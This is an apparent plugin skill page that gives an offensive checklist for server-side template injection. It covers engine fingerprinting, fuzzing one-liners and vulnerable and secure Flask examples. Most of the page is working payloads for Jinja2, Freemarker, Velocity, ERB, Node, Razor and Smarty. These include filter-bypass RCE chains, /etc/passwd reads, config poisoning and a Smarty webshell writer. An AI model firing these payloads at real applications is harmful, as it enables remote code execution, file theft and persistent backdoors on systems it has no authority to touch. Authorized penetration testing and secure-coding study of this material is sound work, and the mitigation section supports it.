From cybersec-toolkit
SSTI testing checklist: template engine identification (Jinja2, Twig, Freemarker, Pebble, Velocity), polyglot detection, engine-specific RCE payloads, blind SSTI, and filter bypass.
How this skill is triggered — by the user, by Claude, or both
Slash command
/cybersec-toolkit:offensive-sstiThe summary Claude sees in its skill listing — used to decide when to auto-load this skill
- **Skill Name**: ssti
Server-Side Template Injection testing checklist: template engine identification (Jinja2, Twig, Freemarker, Pebble, Velocity), polyglot detection payloads, engine-specific RCE payloads, blind SSTI, and filter bypass. Use when testing web apps for template injection vulnerabilities.
Use this skill when the conversation involves any of:
SSTI, server-side template injection, Jinja2, Twig, Freemarker, Pebble, Velocity, template injection, template RCE, polyglot payload, template engine, blind SSTI
When this skill is active:
Template engines are software used to generate dynamic web pages. When user input is unsafely embedded into templates, server-side template injection (SSTI) can occur, potentially leading to Remote Code Execution (RCE).
${{<%[%'"}}%\, {{7*'7'}}, {{7*7}} into inputs. Check for errors, mathematical evaluation (e.g., 49 instead of 7*7), or missing/changed reflections.${7/0}, {{7/0}}, <%= 7/0 %>), known variable names ({{config}}, {$smarty}), or error messages to identify the template engine (use a decision tree like PortSwigger's or HackTricks').touch ssti_poc_by_YOUR_NAME.txt via RCE).Server-Side Template Injection (SSTI) occurs when attacker-controlled input is embedded unsafely into a server-side template. Instead of treating the input as data, the template engine executes it as part of the template's code. This allows injecting template directives to execute arbitrary code, access server data, or perform actions as the application.
Root Cause: Concatenating or directly rendering user input within a template string without proper sanitization or using insecure template functions.
render_template_string, Template::render_inline, or Template.compile, which appear safe but execute attacker‑supplied data.The following program takes user input and concatenates it directly into a template string:
# Assume user_input comes from an HTTP request parameter
from jinja2 import Template
tmpl = Template("<html><h1>The user's name is: " + user_input + "</h1></html>")
print(tmpl.render())
If user_input is {{1+1}}, the engine executes the expression:
<html>
<h1>The user's name is: 2</h1>
</html>
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def home():
# Vulnerable: Directly renders user input from 'user' query parameter
if request.args.get('user'):
return render_template_string('Welcome ' + request.args.get('user'))
else:
return render_template_string('Hello World!')
# Attacker URL: http://<server>/?user={{7*7}}
# Response: Welcome 49
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def home():
# Secure: Passes user input as a variable to the template
if request.args.get('user'):
# The template engine treats 'username' as data, not code
return render_template_string('Welcome {{ username }}', username=request.args.get('user'))
else:
# ...
waybackurls and qsreplace to generate fuzzing lists for parameters:
waybackurls http://target.com | qsreplace "ssti{{9*9}}" > fuzz.txt
ffuf -u FUZZ -w fuzz.txt -replay-proxy http://127.0.0.1:8080/ -mr "ssti81"
# Check Burp Repeater/Logger++ for responses containing the evaluated result (e.g., 81)
${{<%[%'"}}%\, {{7*'7'}}, {{7*7}}, ${7*7}, quote‑less payloads such as {{[].__class__.__mro__[1]}}.{{7*7}} becomes 49.${7*7} evaluating to 49 strongly suggests SSTI.Use a systematic approach based on the initial observations or a decision tree (PortSwigger, updated July 2024, Medium).
| Engine | Fingerprint | Simple RCE / Info payload |
|---|---|---|
| Mako (Python/Pyramid) | Error message containing mako.exceptions | ${self.module.os.popen('id').read()} |
| Blade (Laravel 11) | Undefined variable or @dd($loop) dumps | {!!\\Illuminate\\Support\\Facades\\Artisan::call('about')!!} |
| Groovy / GSP | Stack trace with groovy.text.SimpleTemplateEngine | <% Class.forName('java.lang.Runtime').runtime.exec('id') %> |
| Tera / Askama (Rust) | Files ending .tera / .askama.rs | No generic RCE yet; watch for logic injection |
| EJS / Pug (Node) | .ejs, .pug templates | Often needs gadget via helpers/filters; prototype chains |
| Twig (PHP) | Error mentions Twig\\ | {% for k,v in _self %} info, RCE via unsafe extensions |
| Liquid (Shopify/Ruby) | {{product.title}}, errors mention Liquid:: | Limited by default; see Liquid-specific payloads below |
| Nunjucks (Node/Mozilla) | Mozilla's Jinja2 port, .njk templates | Prototype chain to Function or require |
| Handlebars (Node) | {{this}}, {{@root}} work | Limited RCE; requires unsafe helpers or prototype pollution |
| Thymeleaf 3.1+ (Java/Spring) | th:text="${...}", Spring Boot stack traces | ${T(java.lang.Runtime).getRuntime().exec('id')} if SpEL enabled |
Try injecting known variables for common frameworks: {{config}}, {{settings}}, {{app.request.server.all|join(',')}}, {$smarty.version}.
getattr(object, 'attribute') instead of object.attribute. Use {{request|attr('application')}} instead of {{request.application}}.request['application'] instead of request.application.request['\x5f\x5fglobals\x5f\x5f'] instead of request['__globals__'].
# Example: Bypass '.' and '_' using brackets and hex
{{ request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']() }}
# Example: Using attr() and hex (Source: HackTricks)
{%raw %}{% with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls')|attr('read')()%}{{a}}{% endwith %}{% endraw %}
?c=__class__ -> {{ request|attr(request.args.c) }}?f=%s%sclass%s%s&a=_ -> {{ request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a)) }}?l=a&a=_&a=_&a=class&a=_&a=_ -> {{ request|attr(request.args.getlist(request.args.l)|join) }}Note: The index for
subprocess.Popendiffers between CPython 3.11 and 3.12; enumerate__subclasses__()at runtime instead of hard‑coding.
'os'.__class__ -> 'o'+'s'request object attributes or environment variables if keywords like import or os are blocked.os via {{ self._TemplateReference__context.cycler.__init__.__globals__.os }} or similar paths (Source: Podalirius).Use reflection to load assemblies or invoke methods indirectly.
On modern ASP.NET Core, Razor limits direct process start; look for misused Html.Raw, custom tag helpers, or debug compilation flags.
Modern WAFs often filter quotes and common keyword tokens. 2025 research showed how to build strings from arithmetic or list indices.
{{ (().__class__.__base__.__subclasses__()[104].__init__.__globals__).os.popen('id').read() }}
For Node templating (EJS/Pug/Handlebars server-side), prefer prototype traversal to reach Function or require when helpers expose evaluation sinks:
<%=(global.constructor.constructor('return process.mainModule.require("child_process").execSync("id").toString()')())%>
| CVE | Affected component | Severity | Fixed in |
|---|---|---|---|
| CVE‑2024‑22195 | Jinja2 sandbox / xmlattr filter bypass | High | 3.1.3 |
| CVE‑2024‑46507 | Yeti threat‑intel platform SSTI → RCE | Critical | 1.6.2 |
| Various (2024) | Atlassian Confluence widgets, CrushFTP, HFS | Critical | See vendor advisories |
render_template_string or .format() inside templates.Common vulnerable patterns include:
render_template_string("Hello " + user_input){{ unsafe_variable }} where unsafe_variable contains template code.Active Exploitation:
python tplmap.py -u 'http://www.target.com/page?name=John*' (https://github.com/epinna/tplmap)python3 sstimap.py -u "https://example.com/page?name=John" -stinja url -u "http://example.com/?name=Kirlia"Burp Suite Extensions:
Scanning & Detection:
templates/ssti-*) – fast HTTP scanner with updated SSTI signatures (2024-2025)Framework-Specific:
${{<%[%'"}}%\.{{7*7}} -> 49{{7*'7'}} -> 7777777{{ '7'*7 }} (Jinja2) -> 7777777@(1+2) (.NET Razor) -> 3{{config}}, {{self}}, {{settings.SECRET_KEY}}, {% debug %} (Requires debug extension){{ [].__class__.__base__.__subclasses__() }} , {{ ''.__class__.__mro__[1].__subclasses__() }} (Index 1 or 2 depending on Python version)object Class: {{ ''.__class__.__mro__[1] }} (or [2]), {{ ''.__class__.__base__ }}[40] on some systems.__subclasses__): {{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }} (Index varies)__subclasses__): {{ ''.__class__.__mro__[1].__subclasses__()[XXX]('cat /etc/passwd',shell=True,stdout=-1).communicate()[0].strip() }} (Find subprocess.Popen index, e.g., 396)__globals__): {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}request object - __globals__): {{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}config object - __globals__): {{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}__globals__ search): {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %} (Search for a class with _module attribute)config and import_string): {{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}request and hex/brackets bypass): {{ request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']() }}__subclasses__): {{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evil', 'w').write('hello') }} (Index varies)# Write config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
# Load config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
# Execute
{{ config['RUNCMD']('id',shell=True) }}
{{'<script>alert(1)</script>'|safe}}{%raw %}{% for c in [1,2,3] %}{{ c,c,c }}{% endfor %}{% endraw %}<#assign command="freemarker.template.utility.Execute"?new()> ${ command("cat /etc/passwd") }${"freemarker.template.utility.Execute"?new()("id")}${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")} (May require adjustments)${class.getResource("").getPath()}, ${T(java.lang.System).getenv()}{$smarty.version}{php}echo id;{/php} (If PHP tag enabled){Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())} (Write webshell){{7*7}}, {{7*'7'}}{{dump(app)}} (Symfony)"{{'/etc/passwd'|file_excerpt(1,30)}}"@ (Twig)#set($str=$class.inspect("java.lang.String").type)#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))$ex.waitFor()#set($out=$ex.getInputStream()) ... #foreach ... $str.valueOf($chr.toChars($out.read())) ... #end (Read command output)<%= system("whoami") %><%= Dir.entries('/') %><%= File.open('/etc/passwd').read %>{{this.constructor.constructor('return process.mainModule.require("child_process").execSync("id")')()}}this.__proto__) to reach constructor and eventually Function or require. See PayloadAllTheThings / Hacker Recipes for detailed Node examples.@(1+2) -> 3@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");<%= CreateObject("Wscript.Shell").exec("cmd /c whoami").StdOut.ReadAll() %> (Classic ASP)[% PERL %] ... perl code ... [% END %]<%= perl code %> or <% perl code %> (Depending on config)text/template):
{{ .System "ls" }}html/template is generally safer against XSS but might still leak info if not used carefully.SSTI often leads directly to RCE, but can also be used for:
/etc/passwd, web.config, source code, credentials).{{config}}, {{settings}}), object properties, internal network paths.{{''|fetch('http://...')}}); leverage SSTI to query cloud‑metadata endpoints.render_template('page.html', user_data=user_input)).{, }, $, %, <, >, etc.). Use allow-lists for safe HTML if needed.html/template over text/template for HTML output, as it provides context-aware auto-escaping.render_template_string, Template.compile, eval filters) via linters/semgrep; add approve‑list of safe helperswith in EJS, avoid compileDebug, and run with vm sandbox only when fully locked down (no require or Function reachable)npx claudepluginhub 26zl/cybersec-toolkit --plugin cybersec-toolkitHunts server-side template injection (SSTI) across Jinja2, Twig, Freemarker, ERB, Spring, Velocity, Mako, Thymeleaf, Smarty, with detection probes and engine-specific RCE escalation.
Detects and exploits Server-Side Template Injection (SSTI) vulnerabilities across Jinja2, Twig, Freemarker, and other template engines to achieve remote code execution during authorized penetration tests.
Detects and exploits Server-Side Template Injection (SSTI) vulnerabilities in Jinja2, Twig, Freemarker, and other engines to achieve RCE during authorized pentests of web apps with templating.